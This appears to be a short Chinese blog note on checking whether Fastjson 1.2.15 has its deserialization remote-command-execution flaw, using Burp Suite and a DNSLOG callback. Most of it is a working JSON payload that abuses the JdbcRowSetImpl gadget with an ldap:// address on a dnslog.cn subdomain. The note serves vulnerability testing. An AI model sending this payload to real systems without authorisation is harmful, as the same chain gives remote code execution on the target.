利用DNSLOG测试Fastjson远程命令执行漏洞

　　由于内容比较简单，我直接贴图，怕我自己忘了。

　　测试Fastjson版本号：1.2.15

　　直接发送用burpsuite发送payload，将dataSourceName改成dnslog获取到的域名。

　　payload：

{

"a":{

"@type":"java.lang.Class",

"val":"com.sun.rowset.JdbcRowSetImpl"

},

"b":{

"@type":"com.sun.rowset.JdbcRowSetImpl",

"dataSourceName":"ldap://6v0jfv.dnslog.cn

",

"autoCommit":true

}

}

　　若刷新DNSlog有记录增加，那说明漏洞存在，反之，则不存在。

如有错误，请及时指正，谢谢！